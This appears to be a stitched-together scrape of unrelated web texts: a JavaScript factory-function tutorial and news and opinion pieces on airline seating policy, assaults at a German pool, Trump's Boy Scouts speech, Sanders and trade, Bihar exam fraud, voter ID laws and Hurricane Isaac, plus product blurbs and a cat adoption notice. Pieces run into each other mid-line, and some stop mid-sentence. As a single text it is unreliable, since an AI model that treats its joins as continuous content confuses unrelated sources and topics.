Other men have contested these kinds of "all men are pedophiles" policies on planes and won. One of the arguments of the man who was asked to move his seat on Qantas recently was that it's highly unlikely a child is going to be harmed by a stranger on a flight, that a child is more likely to be assaulted by someone they know. That is very true, statistically, and it probably is discriminatory in a way, but who cares.
It's such a non-event to move your seat. If something like this could prevent incidents like the pervert groping a sleeping teen boy on a JetBlue flight recently, then it's worth just sucking it up and finding something else to complain about. This is the airline industry we are talking about, after all, the choices are unlimited.
Do you think this policy is really that bad or should these men just get over themselves and move their seat as asked?
Image via vincent a desjardins/FlickrFactory Function Pattern In-Depth
Ronald Chen Blocked Unblock Follow Following Jan 13, 2016
There are plenty great introductions to Factory Functions, but few describe the details of the pattern. If you don’t know what a Factory Function is, please watch Factory Functions in Javascript or read the transcription.
This article will describe the smaller patterns within the overall Factory Functions Pattern. All code snippets are written in ECMAScript 2015. As of January 2016 these code snippets will require Babel until Node.js has full ECMAScript 2015 support.
The Basics
A Factory Function is just a Function that creates something. It is usually an Object, but it can be anything, a String, an Array, or even another Function. In this article we will focus on Factory Functions as a replacement for ECMAScript 2015 Class.
Here is a simple Factory Function.
// greeter.js
export default () => {
return {
greet() {
console.log('Hello World!');
}
};
}
That just defines the Factory Function but does not create an instance of the object. This is done is another file, typically the main file.
// main.js
import Greeter from './greeter';
const greeter = Greeter();
greeter.greet(); // prints Hello World!
The convention for Factory Functions is to capitalize the name. This way you can think of it like a class but you don’t use new. This is very similar to Scala Case Classes.
Dependency Injection
Let’s say we want to greet to a file or to an API. We will refactor the previous example such that we are not greeting directly to console.log.
// greeter.js
export default (outputStream) => {
return {
greet() {
outputStream.send(‘Hello World!’);
}
};
}
Notice greeter does not need to know how outputStream is implemented.
// main.js
import Greeter from './greeter';
import ConsoleOutputStream from './console-output-stream';
const consoleOutputStream = ConsoleOutputStream();
const greeter = Greeter(consoleOutputStream);
greeter.greet(); // prints Hello World!
We inject output stream in the main file. This is Dependency Injection. What is console output stream? It’s just another Factory Function!
// console-output-stream.js
export default () => {
return {
send(line) {
console.log(line);
}
};
}
Unit Testing
Greeter no longer depends on any global references (i.e. console.log), which means we can now unit test it without any dirty tricks.
We want to assert that the output stream was called with “Hello World!”. This is easy to do when we are in full control of the dependencies.
In JavaScript, it is easy to mock objects with an object literal. This technique is use to mock the output stream and pass it into greeter.
Mocha and Chai are the only tools we need.
// test/greeter.js
import { expect } from 'chai';
import Greeter from '../greeter';
describe('greeter', () => {
it('should send a greeting to output stream', () => {
const outputStream = {
send(line) {
expect(line).to.equal('Hello World!');
}
};
const greeter = Greeter(outputStream);
greeter.greet();
});
});
No mocking library required!
Encapsulation
Private data is required for Encapsulation. With ECMAScript 2015 classes, private data is possible, but awkward. Let’s extend our example and make greeter stateful. We will allow others to configure the greeting message, but we will keep the data private.
// greeter.js
export default (outputStream) => {
let _message = 'Hello World!';
return {
greet() {
outputStream.send(_message);
},
set message(message) {
_message = message;
},
get message() {
return _message;
}
};
}
That set/get syntax might look foreign to you, but it is actually just combining ECMAScript 5.1 getters/setters with ECMAScript 2015 Enhanced Object Literals.
We can then use message like a normal property.
// main.js
import Greeter from './greeter';
import ConsoleOutputStream from './console-output-stream';
const consoleOutputStream = ConsoleOutputStream();
const greeter = Greeter(consoleOutputStream);
greeter.message = 'Salutations Earth.';
greeter.greet(); // prints Salutations Earth.
It is impossible to access the _message variable from outside of the Factory Function. Data is kept private. Difference instances of greeter will have their own private copy of _message and will not conflict.
Composition
If we keep the objects created using Factory Functions small, we can use composition to create new objects from smaller components. Let’s add some additional functionality so we have something to compose. We will add a wave gesture.
// gesturer.js
export default (outputStream) => {
return {
wave() {
outputStream.send('*Waves hand*');
}
};
}
To create a waving greeter, we simply create the two smaller components, then use Object.assign to compose into a single object.
// main.js
import Greeter from './greeter';
import Gesturer from './gesturer';
import ConsoleOutputStream from './console-output-stream';
const consoleOutputStream = ConsoleOutputStream();
const greeter = Greeter(consoleOutputStream);
const gesturer = Gesturer(consoleOutputStream);
const wavingGreeter = Object.assign({}, greeter, gesturer);
wavingGreeter.message = 'Salutations Earth.';
wavingGreeter.greet(); // prints Salutations Earth.
wavingGreeter.wave(); // prints *Waves hand*
The waving greeter shares the same state as the components it is made up from. We can set a new message on greeter and waving greeter will use it.
Object.assign assigns properties from left to right. In the example, it assigns greet to the empty object, then wave to an object that contains greet.
If there are conflicts, the right most object wins. Or in other words calling a conflicting method is the same as calling the method on the right most object in the list. You can prevent methods from conflicting by wrapping objects and renaming methods before composing them.
Calling Sibling Methods
In all our previous examples we immediately returned the objects we constructed. In more complex objects we might want a method to call another method on the same object. This is possible, but we need to get a reference to the self.
// head-scratcher.js
export default () => {
const self = {
scratch(location) {
console.log(`scratching ${location}`);
},
confused() {
self.scratch('head');
}
};
return self;
}
Bounded Method References
One of the downsides of ECMAScript 2015 Classes is methods depend on the this reference. Unfortunately if you want to use a class method in function libraries such as Ramda, you will end up having to bind this back to the class instance.
Let’s see what this looks like with ECMAScript 2015 Classes.
// offset.js
export default class Offset {
constructor(delta) {
this.delta = delta;
}
add(value) {
return value + this.delta;
}
}
// main.js
import Offset from './offset';
const increment = new Offset(1);
console.log([1, 2, 3]
.map(increment.add.bind(increment))); // prints [ 2, 3, 4 ]
Objects created using Factory Functions don’t have this problem, since there is no this reference. Let’s see that same example with Factory Functions.
// offset.js
export default (delta) => {
return {
add(value) {
return value + delta;
}
};
}
// main.js
import Offset from './offset';
const increment = Offset(1);
console.log([1, 2, 3]
.map(increment.add)); // prints [ 2, 3, 4 ]
Notice how much shorter and simpler the code is.
Types
Factory Functions can create informally typed objects. We simply add a getter type property to the object we wish to type.
// duck.js
export default () => {
return {
get type() {
return 'duck';
},
speak() {
return 'quack';
}
};
}
In place of instanceOf, we just use the type property.
// main.js
import Duck from './duck';
import Dragon from './dragon';
const animals = [Duck(), Dragon()];
animals.forEach((animal) => {
switch(animal.type) {
case 'duck':
console.log('safe to pet');
break;
case 'dragon':
console.log('run away');
break;
default:
console.log('be careful');
}
}); // prints safe to pet, then run awayThe indoor heated pool at the Weidener Thermenwelt, in Weiden, Germany -- a popular spot with U.S. troops in their families -- has been the site of 17 sexual assaults in the past six months, according to German police.
GRAFENWOEHR, Germany — A nearby swimming complex popular with U.S. troops and their families has been the site of more than a dozen reports of children being touched inappropriately, German police said Thursday.
There have been 17 reported incidents in the past six months at the Thermenwelt in Weiden, said Albert Bruck, spokesman for the Oberpfalz police department. Some of the alleged victims were as young as 10 years old, Bruck said.
The most recent assault occurred Saturday. A police statement says three Syrian men were held for questioning Saturday after four girls between the ages of 10 and 13 told lifeguards they were surrounded by three men and sexually assaulted. The men were not charged, police said, citing a lack of evidence.
Last week, a 17-year-old refugee from Afghanistan was arrested for spying on the women’s dressing room there, according to a police statement. To date, nine refugees have been questioned by police regarding the string of assaults, but no arrests have been made, Bruck said.
The facility is about 20 minutes from the U.S. military community in Grafenwoehr. U.S. military officials did not immediately provide comment for this report.
The police have taken steps to address the issue, most notably by going to Syrian refugee encampments and presenting a slideshow depicting appropriate behavior, Bruck said.
The German government has made more of a push recently to address sexual assault after more than 100 women were attacked during this year’s New Year’s celebration in Cologne. Dozens more assaults were reported in Hamburg the same day.
Earlier this month, the German Federal Center for Health Education helped co-launch Zanzu.de, a website designed to curtail sexual assaults and has an English language option. The site goes into detail about German laws, provides victims with direct access to counseling and touches on societal taboos like female genital mutilation and domestic violence.
Stars and Stripes staff members Tom Keys and Marcus Kloeckner contributed to this report.
darnell.michael@stripes.comSaul Loeb/AFP/Getty Images
If you’d like to test whether your human capacity for shock has been overworked to the point of total ruin by Donald Trump’s presidency, watch his Monday evening address to the Boy Scouts of America’s quadrennial jamboree. Every beat more self-obsessed, petty, and hateful than the last, the speech found Trump cussing and alluding to sexual exploits in front of a crowd of children, congratulating himself and demeaning his ideological opponents at an event that has pretty much steered clear of partisanship for 80 years.
Christina Cauterucci Christina Cauterucci is a Slate staff writer.
Plenty of member of Trump’s audience were right there with him. They clapped when he insulted the press and the specific videographers at the event. They booed when Trump made a passing mention of Hillary Clinton during an extended rant about how thoroughly he won the presidential election. They chanted “USA!” when he said that former Boy Scout and current Secretary of Health and Human Services Tom Price is “helping to keep millions of Americans strong and healthy” by getting the Senate votes necessary to start “killing this horrible thing known as Obamacare that’s really hurting us.” (If Price didn’t get those votes, Trump told the scouts, he’d fire the secretary.)
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In some ways, the Boy Scouts represent a perfect slate onto which Trump can project his fantasies about authoritarian rule and a bygone era of white men saying and doing whatever they wanted. As Amanda Marcotte wrote in Slate in 2011, the Boy Scouts were founded in 1910 in response to a “crisis in Anglo-American masculinity.” The growth of U.S. cities had parents worried that their sons were turning into soft, urbane sissies—the cucks and betas of yesteryear. Scouting was supposed to hone a kind of pioneering, colonialist sensibility in these young men, toughening and roughening them up through outdoor excursions and wilderness skills-building. Trump won the 2016 election in part because of a related panic over the slow-declining supremacy of white men in the U.S. There is reason to believe that the proudest misogynist in public life could not have won over anyone but a woman, and that the most openly racist candidate in modern history could not have succeeded any president but a black one. Building campfires and tying knots soothed the masculinist anxieties of the last turn-of-the-century; a Manhattanite heir to a real estate fortune has soothed the masculinist anxieties of this one.
Trump’s speech to the Boy Scouts, and the scouts’ demoralizing response, makes one wonder what a parallel Girl Scout event would have looked like. The Girl Scouts of the USA have jamborees, too, after all, and the organization was founded just two years after the boys’ group. Unlike their male counterparts, though, the founders of the Girl Scouts championed a more forward-thinking conception of their gender. Girls were, and still are, encouraged to embrace outdoor adventure just as the Boy Scouts did and do. “The Boy Scouts had previously backed another girls’ organization, the Campfire Girls, which incorporated some elements of scouting, but with more of an eye towards domestication,” Marcotte wrote in 2011. “Not so surprisingly, the national leadership of the Boy Scouts reacted poorly to the Girl Scouts, which had girls acting more as the Boy Scouts imagined boys should act.” Girl Scouts of the USA is still more welcoming and broad-minded than Boy Scouts of America. In 2015, weeks before the Boy Scouts decided to start accepting gay leaders, one regional branch of the organization returned a $100,000 donation after the donors demanded that the group stop serving transgender girls. For more than a century, Girl Scouts leaders have advanced a generic brand of women’s empowerment that teaches girls they can do and be anything they want—just today, the organization introduced 23 new STEM-related badges—while keeping neutral on political matters.
That hasn’t stopped right-wing organizations from casting the Girl Scouts of the USA as a band of radical leftists indoctrinating young girls into some kind of sex cult. Family Research Council head Tony Perkins has gone after the Girl Scouts for years, suggesting that money from cookie sales goes to Planned Parenthood and accusing leaders of “leaving the door wide open at the chicken coop for the fox” by hiring LGBTQ staff members. (He recommends girls join the Christian-based American Heritage Girls instead.) Some conservative groups once concocted a completely false rumor that the Girl Scouts gave a “graphic sex guide” prepared by Planned Parenthood to a group of girls at a United Nations conference. In 2014, anti-abortion activists signal-boosted by Megyn Kelly boycotted Girl Scout cookie sales after the organization tweeted a link to a Huffington Post discussion of “incredible ladies” who “should be woman of the year for 2013.” The discussion included a mention of pro-choice Texas legislator Wendy Davis, leading right-wingers to accuse the Girl Scouts of endorsing Davis and, thus, abortion rights.
Because the actual curriculums of Girl Scout troops are laughably benign—girls earn badges for first aid skills, pottery, and researching family history—the right-wing fixation on the Girl Scouts as some kind of socialist abortionist training ground seems based in the idea that a group that emits any faint scent of women’s empowerment must, by definition, contain the seeds of a misandrist revolution. Their frenzied boycotts betray the idea that any gathering of women not explicitly devoted to patriarchal ideals, as the American Heritage Girls are, is a threat. On the other end of the ideological spectrum is Trump’s address to the Boy Scouts: a speech akin to any he’d give at a rally of supporters, comfortable in the knowledge that he would not be challenged, that his audience would play along. If a group of empowered, confident girls represents a threat to oppressive systems of power, to Trump and his supporters, a group of young, mostly white men trained to be obedient represents their comfort zone: an insulated, impressionable boys’ club.
It’s no wonder some people find it hard not to politicize the very act of girlhood—female bodies are on the docket in every state and federal lawmaking body, in every legislative term. But the Girl Scouts are not inherently political, and they’re far from a political monolith. I know one Trump-supporting Girl Scout troop leader, and I’m sure there were at least a few Boy Scout troops that boycotted Trump’s speech or sat horrified through the whole sickening thing. If there had been a different outcome in last year’s presidential election, perhaps President Hillary Clinton might have addressed the Girl Scouts and attracted criticism for poisoning members’ young minds with feminist propaganda—or, in other circles, for declining to do so.Sanders is fighting the oldest continuing policy tradition in the Democratic Party.
In the brouhaha over Bernie Sanders’s remarks about various aspects of Hillary Clinton’s record that indicate she is “not qualified” to be president, an important landmark was reached that could well survive the eventual walk-back of his rhetorical brinkmanship. It’s this:
“I don’t think you are qualified if you have supported virtually every disastrous trade agreement which has cost us millions of decent paying jobs,” he said to applause. “I don’t think you are qualified if you’ve supported the Panama free trade agreement, something I very strongly opposed and, which as all of you know, has allowed corporations and wealthy all over the world people to avoid paying their taxes to their countries.”
Most obviously, this anathema would apply not only to Hillary Clinton but to the 42d and 44th presidents of the United States, Bill Clinton and Barack Obama. But, as a matter of fact, Sanders is seeking to become the first Democratic president since Martin Van Buren (often credited as the founder of the Democratic Party) to flatly oppose trade liberalization.
"Free trade," which was famously popular in the agrarian South, was an important part of the glue that held together the Democratic Party before and after the Civil War. But it persisted as the default drive position of Democrats through the first half of the 20th century and arguably well beyond that. The most consistent policy view held by the great populist William Jennings Bryan throughout his long career was one in favor of free trade. Another icon of today’s ideological left, Franklin D. Roosevelt, was such a free-trader that he insisted on unilateral tariff concessions to European countries after World War II to help rebuild their economies.
John F. Kennedy launched a “round” of multilateral trade negotiations that eventually bore his name. Jimmy Carter pushed another round.
Now, it’s true that the previously near-unanimous Democratic support for trade liberalization began to fray as the 20th century grew old. The labor movement split on the subject in the early 1960s and began moving rapidly in the other direction in the 1970s. The unsuccessful Burke-Hartke legislation promoted by labor during the Nixon administration showed the way the wind was blowing: It would have created a comprehensive system for regulating and taxing both imports and overseas investment, on the principle that American workers should never have to compete with lower-wage countries. By the 1990s, a majority of House Democrats opposed Bill Clinton on both NAFTA and the rules governing a new round of multilateral trade negotiations; congressional Democrats also denied Clinton "fast-track" trade negotiating authority. By the time Al Gore ran to become Clinton’s successor, the man who had defended NAFTA in a debate with Ross Perot was emphasizing he would only support future trade agreements if they included strong core labor and environmental standards.
But, still, the tradition held: No one fundamentally rejecting trade liberalization and globalization as a good thing won a Democratic presidential nomination or the presidency. The only conspicuously anti-trade-deal pol who ran a viable presidential campaign was Dick Gephardt in 1988 and (briefly) 2004. During the 2008 primaries Barack Obama made some noises about renegotiating NAFTA, even as his chief economic adviser got caught reassuring Canadians he was just playing to the galleries.
So Bernie Sanders is fighting an awful lot of history, ancient as it may be. And it’s notable he’s not just bucking the oldest continuing policy tradition of the party he is seeking to take over; he’s arguing that a contrary position is a disqualifying betrayal of the people Democrats should be representing. And his position brooks no compromise: He’s proudly opposed and says he will continue to oppose any and all trade liberalization agreements that might be offered. He clearly embraces the old Burke-Hartke argument that global competition and, with it, the entire theory of comparative advantage are responsible for much of this country’s economic problems.
It’s fascinating that millennials, who represent Sanders’s most enthusiastic group of supporters, are, according to most public-opinion surveys, more positive about trade liberalization and globalization than previous generations. Bernie may need to do some missionary work in his own camp on the subject. But for now he’s simply angering certain living former Democratic presidents, and stirring up more than a few ghosts as well.PATNA: Expressing his concern over the Bihar School Examination Board (BSEB) Intermediate toppers being unable to answer basic questions related to their streams, CM Nitish Kumar on Sunday said his government would take tough action against the guilty. He also said that criminal cases would be lodged against those involved.“Action would be taken against them in such a stringent manner that no one would dare to repeat such an act. Besides the departmental actions, the matter will also be investigated with criminal angle. Criminal cases will also be lodged against the persons found guilty in the investigation,” Nitish told reporters soon after launching his party’s membership campaign at the JD(U) headquarters here.Appreciating the education department’s initiatives in checking use of unfair means in the Bihar Board examinations, the CM said, “The education department has taken action at its own level in the toppers issue, while the state government is also serious. It is good that this issue came to light, as I am sure that tough action will be taken in such a manner that such issue is not repeated again in future.”Recalling a previous case, the CM said, “A similar case had come to light a few years ago and we had ordered to re-examine answer-sheets of top 10 students in the merit list.”Nitish said everyone was aware that the Bihar Board examinations this year were conducted in a fair manner as the government was committed to improve its education system. “We took tough actions to check use of unfair means in examinations. We will also take tough actions in the Intermediate toppers case,” CM said.In the meantime, state’s education department on Sunday constituted a three-member high-level committee to probe into “irregularities in Intermediate (Arts and Science-2016) examinations. The committee will be headed by Sanjeevan Sinha, managing director, Bihar State Education Infrastructure Development Corporation (BSEIDC), while Rajiv Prasad Singh Ranjan (director, secondary education) and Vinodanand Jha (director, Mass education) will be other members of the committee.The committee has been asked to submit its report by June 20 after probing into all aspects of the irregularities in the intermediate examination-2016, an education official told TOI.Earlier on Saturday, the BSEB cancelled the results of two toppers, including Sourabh Shrestha of the Intermediate (Science) examinations, after they failed to prove their merits in a re-test.The BSEB had on Friday asked Sourabh and his college mate Rahul Kumar (both students of Bishun Roy College, Vaishali), who were among the 13 toppers from the arts and science streams in the Inter examinations to reappear in a re-test following a controversy over their merits.Saurabh Shrestha from the Science stream, who had secured 485 out of 500, was caught on camera failing to answer basic questions. Ruby Rai, the arts topper, from the same college failed to take the re-test on Friday citing health reasons. Rai has obtained 444 marks out of 500 in the arts stream. However, on camera she pronounced political science as ‘prodigal science’ and said it was subject of cooking.Sri Lanka 484 (Karunaratne 184, Chandimal 151, Bishoo 4-143) beat West Indies 251 (Bravo 50, Herath 6-68) and (f/o) 227 (Blackwood 92, Herath 4-79) by an innings and 6 runs
Scorecard and ball-by-ball details
Play 04:44 Play 04:44 Arnold: Blackwood showed temperament and positive attitude
Rangana Herath picked up his fifth 10-wicket match haul in Tests as Sri Lanka wrapped up victory by an innings and six runs inside the second session of day four. West Indies, who began the day two down for 67, lost eight wickets on the fourth day for the addition of 160 runs, and as in the first innings, a number of their batsmen failed to capitalise on |
movie thirty-two years ago, the emotion I felt was so strong, so mind-blowing, and so important to my upbringing. I wanted to investigate the experience I had watching that film.
Are there any recent films that have affected you deeply?
Hirokazu Kore-eda's After the Storm. I missed it when it came out, but it’s miraculous, beautiful filmmaking. The woman who plays the mother—the level of complexity and wisdom and knowledge of human life that she is able to convey is astonishing.
He’s a perfect director. For me, it’s so reassuring and moving to know that today we have a voice like his. I don’t believe that cinema today is not as good as it was; I just think you have to look for things.Did you know that just five percent of the stuff in the cleaning products under your sink is actual chemical cleaner? The other 95% is just water, water that you are paying to be shipped and stored before you buy it, and water that you then need to carry home.
Replenish gets around this by selling you an empty spray bottle. Yes, empty, with nothing inside but fresh-air. You fill this with your own water from your own faucet, and the chemicals come concentrated in a small capsule that screws into the bottom of the bottle. What's more, the bottle (100% recyclable - even the spring in the trigger is plastic) is rated for 10,000 trigger-pulls, so you can keep it for years.
But you're no hippy, right? Saving the environment is expensive, and the Earth can go screw itself. Wrong! Using the Replenish cleaners is actually cheaper, and the bottle's also look way nicer than anything in the supermarket. A bottle with included capsule costs just $8, and that capsule contains enough concentrate for four bottles of water. When the capsule eventually runs dry, more can be had for just $4 each.
It all sounds too good to be true. Maybe there's something we don't know? Maybe the multi-surface cleaning spray smells like old socks? It's doubtful, and customers seem to be happy - Replenish is currently out of stock on the site, but you can sign up and get an email when another batch is cooked up at the Wisconsin factory.
Replenish product page [Replenish via Oh Gizmo]It was a number of years ago, seven years ago to be exact, that Israeli President Shimon Peres paid a visit to the Wolf-Holtzer sukkah in Yerushalayim, where he revealed what he believed was the secret to his longevity.
“I got to meet the Chofetz Chaim,” related the then 86-year-old Peres, “and he blessed me that I’ll go on to greatness and live long.”
Peres reminisced about his childhood and spoke about his growing up in Poland, where his grandfather served as a chazzan during the Yomim Noraim.
From time to time, Peres mentioned the precious brachah that he received from the Chofetz Chaim. It meant a lot to him.
Interestingly, as Matzav previously reported, Peres’ grandfather, Rav Tzvi Meltzer, was a grandson of Rav Chaim Volozhiner. Rav Meltzer had a great impact on Peres’ life, as Peres grew up as a child in his grandfather’s home. His grandfather taught him Gemara, which wasn’t simple, since Peres’ own parents were not observant.
Peres once heard his parents listening to the radio on Shabbos and smashed it in protest.
{Matzav.com Israel News Bureau}Ohio State coach Urban Meyer got a six-figure bonus for his team finishing high in the final AP poll after the season. (Photo: Rich Barnes, USA TODAY Sports) Story Highlights Meyer's bonuses was tied to poll due to Ohio State's bowl ban
Fisher benefited from Florida State moving up after Orange Bowl win
Both payments were tied to the final ranking in the AP media poll
Ohio State coach Urban Meyer and Florida State coach Jimbo Fisher weren't part of Monday night's action during the Bowl Championship Series national game. Afterward, however, things heated up for them as voters in the Associated Press media poll determined their final Top 25 rankings of the season.
When all the ballots had been counted, Ohio State was No. 3, Florida State was No. 10 – and Meyer and Fisher were a little wealthier than had been Monday afternoon because their team's rankings triggered incentive provisions of their contracts.
INTERACTIVE DATABASE: College football coaches salaries
Meyer will get $150,000 for the Buckeyes' top-10 finish, which was assured by their 12-0 regular season record -- and by a late-season adjustment in the language of Meyer's contract.
They had the No. 3 ranking going into bowl season and did not play in a bowl game because of NCAA sanctions. The question for Meyer going into Monday night's title game was whether the outcome might result in Ohio State moving up to No. 2, which would have given him another $100,000.
However, after Alabama's blowout of Notre Dame, the AP's voters moved previously No. 5 Oregon into the No. 2 spot, left Ohio State unchanged and dropped the Fighting Irish to No. 4.
TOP 25: The complete AP poll rankings
Fisher will get $50,000 for the Seminoles' top-10 finish, which was a product of their 31-10 rout of Northern Illinois in the Orange Bowl and bowl-game losses by Kansas State, LSU and Oklahoma.
The Seminoles entered bowl season No. 13 in the AP rankings. Kansas State was No. 7 but lost to Oregon in the Fiesta Bowl, 35-17; LSU was No. 9 but lost to Clemson in the Chick-Fil-A Bowl, 25-24 and Oklahoma was No. 12 but lost to Texas A&M in the Cotton Bowl, 41-13. (Fisher would have gotten an additional $50,000 had the Seminoles finished in the AP's top five.)
TOP 25: Final AP poll rankingsStrokeIt
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StrokeIt.9.7 Released
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StrokeIt Plugins go Open Source
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Documentation:
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Developers:
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What is StrokeIt? StrokeIt is an advanced mouse gesture recognition engine and command processor. What is a mouse gesture? Mouse gestures are simple symbols that you "draw" on your screen using your mouse. When you perform a mouse gesture that StrokeIt can recognize, it will perform the "action" associated with that gesture. In short, it's a nifty little program that lets you control your computer by drawing shapes with your mouse.
How do I perform a gesture? Click and hold down the right mouse button and then draw the mouse gesture you want performed. You can temporarily disable StrokeIt by holding down the Control key, or right clicking on the StrokeIt icon in the system tray. If you want to cancel a mouse gesture you've already started drawing, simply left click.
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Can I bundle StrokeIt with my program Distribution Licenses are available for developers who would like to bundle StrokeIt with their applications.Twinkle is the sweetest cat who looks like a permanent kitten because she is so tiny! Unfortunately her current owner is no longer able to care for her, so Twinkle is seeking a new home.
Tiny Twinkle is gentle and loves affection. She loves to play and be brushed. She is very chatty and sweet. She easily gets along with children and loves dogs. She isn’t good with other cats. She would prefer a quiet, gentle retirement home.
This little dear has moderate kidney disease that doesn’t require treatment right now, but will so in the future. Twinkle needs someone who will be willing to help her during the ups and downs of the disease (her foster mom can answer any questions you may have). Due to her pending treatment, in lieu of our standard adoption fee, a donation of your choice is appreciated.
Please don’t pass her by due to her senior status – Twinkle has lots of love to give and is very entertaining with her cute mannerisms and expressions! She was born July 15, 1999 and has been spayed and vaccinated. To set-up a meet and greet or to adopt, call us 416-538-8592, press #1 / email us: tcr.adoptions@hotmail.com / fill in our adoption online form on our Adopt A Cat page.Texas House lawmakers debated the voter ID law on March 23, 2011. House Democrats unsuccessfully fired off a half-dozen points of order challenging several provisions in the bill. The GOP-controlled state legislature voted to approve it. (The Texas Tribune)
As voters go to the polls on Super Tuesday, many will be casting ballots in states that have passed strict election laws that didn’t exist during the last presidential race.
Out of the 13 states holding primaries or caucuses, there are five where voters will face new rules: Alabama, Georgia, Tennessee, Texas and Virginia. The laws range from asking voters to present photo IDs at the polls to requiring proof of citizenship when registering to vote.
Texas state senators debated the voter ID law on Jan.26, 2011. The GOP-controlled state legislature voted to approve it. (The Texas Tribune)
Voting experts say that primary voters tend to be of demographics relatively unaffected by such requirements, as they are typically older and wealthier. The primaries also tend to attract more white voters. Still, Super Tuesday could serve as an early test of how the new laws will play out in the general election in November. This presidential race will be the first since a divided Supreme Court invalidated a key part of the Voting Rights Act and triggered a number of states to pass stiffer requirements for voting.
“We will undoubtedly see some negative effects in the primaries and perhaps an early glimpse into what the bigger problems could look like come November,” said Wendy R. Weiser, director of the Democracy Program at the Brennan Center for Justice at the New York University School of Law.
On Tuesday, the new laws could have a bigger effect in the Democratic contests where “voters of color will be disproportionately affected by the new restrictions,” said Ari Berman, author of “Give Us The Ballot: The Modern Struggle for Voting Rights in America.”
Former secretary of state Hillary Clinton is counting on minority voters, particularly in the South, to support her as she tries to secure the Democratic nomination. On Tuesday, six of 11 Democratic contests will take place in Southern states with large populations of black voters. Clinton has been raising the issue of voting rights for months, and her campaign’s top lawyer has filed lawsuits against new voting restrictions in several states.
Meanwhile, the Justice Department is waging legal battles across the country to stem the tide of the new laws.
“This is the first presidential election in the more than 50 years of the Voting Rights Act that the department’s ability to enforce the act has been so severely cut back,” said Vanita Gupta, who heads the Justice Department’s civil rights division. “Until Congress acts to restore the full protection of the act, we are fully committed to doing all that we can to make sure every eligible citizen has equitable access to a meaningful vote.”
Those who support the tougher voting laws have said they are cracking down on fraud and shoring up the legitimacy of this country’s elections.
Berman argues, though, that the new rules have nothing to do with voter fraud and everything to do with politics. Those who have studied the claims of voter fraud, he said, have found very few examples of voter impersonation.
“They are providing solutions to things where there’s not a problem,” he said.
[Want to vote in this state? You have to have a passport or dig up a birth certificate.]
The state of Texas, where the most delegates are at stake on Tuesday for candidates in both parties, has the most stringent voter-identification law in the nation, according to several election experts, and one that could cut deeply into the turnout of minority voters and young people — an issue for the Democratic contenders, Clinton and Sen. Bernie Sanders of Vermont, who are courting those groups of voters.
Four years ago, the Justice Department blocked the law, signed by then-Gov. Rick Perry (R). Former attorney general Eric H. Holder Jr. (D) called it a “poll tax,” referring to fees that some Southern states used to try to disenfranchise blacks during the Jim Crow era.
Texas was the largest state that was covered by Section 5 of the Voting Rights Act of 1965, which required federal approval of any voting changes, because of Texas’s history of discrimination.
Texas then sued the Justice Department. After a week-long trial, a federal court in Washington also blocked the law, ruling that it would impose “strict, unforgiving burdens” on poor, minority voters. It was the first time that a federal court had blocked a voter-ID law.
The three-judge federal panel unanimously ruled in August 2012 that Texas had failed to show the law wouldn’t harm minority voters. The panel said the burden of obtaining a state voter ID certificate would weigh disproportionately on minorities living in poverty, with many having to travel as much as 200 to 250 miles round trip.
“A law that forces poorer citizens to choose between their wages and their franchise unquestionably denies or abridges their right to vote,” wrote David S. Tatel, a judge on the U.S. Court of Appeals for the District of Columbia Circuit.
The next year, the Supreme Court made a landmark ruling on the Voting Rights Act that in essence took away the power of the Justice Department to challenge potentially unfair voting laws before they are enacted.
The court did not strike down the Voting Rights Act or the provision that calls for the special scrutiny of states with a history of discrimination, such as Alabama and Texas. But it said Congress must come up with a new formula based on current data to determine which states should be subject to the requirements. Congress has not yet acted.
The same day as the Supreme Court decision, then-Texas Attorney General Greg Abbott (R) said the state would immediately enact its voter-ID law.
The legal wrangling continues. The Justice Department is awaiting a decision about whether the U.S. Court of Appeals for the Fifth Circuit, in New Orleans, will hear the Texas voter-ID case en banc. In the meantime, a federal court in Texas found that 608,470 registered voters don’t have the voter IDs that the state now requires for voting. For example, residents can vote with their concealed-carry handgun licenses but not their state-issued student university IDs.
After the Supreme Court decision, other states also swiftly moved forward with voting restrictions, including Mississippi, Virginia, Alabama and North Carolina.
[Why 94-year-old Rosanell Eaton had to make 10 trips to the DMV, drive more than 200 miles and spend more than 20 hours to obtain a voter ID]
“Common practices like boarding an airplane and purchasing Sudafed require photo ID, and we should expect nothing less for the protection of our right to vote,” North Carolina Gov. Pat McCrory (R) said after signing a bill that included a voter-ID requirement.
“They were all very brazen responses to that decision,” Weiser said. “It was: ‘Here we go, now that the yoke of the Voting Rights Act has been removed, we’re going to plow forward with these very controversial voting restrictions.’”
On Super Tuesday, voters in Virginia will be required to show a photo ID. Tennessee also has put in place a strict voter-ID requirement and reduced the time allotted for early voting. In Georgia, a Republican-led legislature also reduced the early-voting period from 45 days to 21 and cut early voting the weekend before Election Day.
While much of the national attention has focused on the eight states that have passed voter-ID laws since 2010, state legislatures have also passed many other voting restrictions.
Among the most controversial are the “proof of citizenship” laws in Alabama, Georgia, Arizona and Kansas that require residents to show documents, such as a birth certificate or passport, to register to vote.
A new voter-ID study by political scientists at the University of California at San Diego analyzed turnout in elections between 2008 and 2012 and found “substantial drops in turnout for minorities under strict voter ID laws.”
“These results suggest that by instituting strict photo ID laws, states could minimize the influence of voters on the left and could dramatically alter the political leaning of the electorate,” the study concluded.TUPELO, Mississippi (Reuters) - Tens of thousands of rats killed by Hurricane Isaac have washed up onto the beaches of Mississippi and created a foul-smelling mess that officials say will take days to clean up.
Nutria rodents pile up along the shore after Hurricane Isaac went through Waveland, Mississippi, August 31, 2012. REUTERS/Michael Spooneybarger
When the hurricane lifted the tides, the water washed across the marshy areas in Louisiana where the semi-aquatic rats live and forced them to ride the waves into Mississippi until they succumbed to exhaustion and drowned, said David Yarborough, a supervisor for Hancock County on the Gulf Coast.
The tides then deposited their bodies on the Mississippi shoreline, he said.
As of Tuesday, about 16,000 of the rodents have been collected in Hancock County, where a hired contractor’s clean-up efforts are expected to continue for another week, officials said.
In nearby Harrison County, officials decided to carry out the work themselves. Using shovels and pitchforks, workers have removed 16 tons of the dead rats from beaches since Saturday and taken them to a local landfill.
“We have an event called ‘Cruisin’ The Coast’ the second week of October with 30,000 to 40,000 people on the beach, and we didn’t want to wait” to clean up, said Kim Savant, president of that county’s Board of Supervisors.
Although they’re smelly and disgusting, the dead rats pose no health risk to humans, said Brigid Elchos of the Mississippi Board of Animal Health.
Mississippi also dealt with dead rats after Hurricanes Katrina and Gustav, but officials said the current situation seems especially bad.
The beaches are closed to the public, but Yarborough said people have come anyway to see the littered beaches. The visitors usually don’t stay long, possibly because the odor is intense on the shore and discernible from up to three miles away, he said.
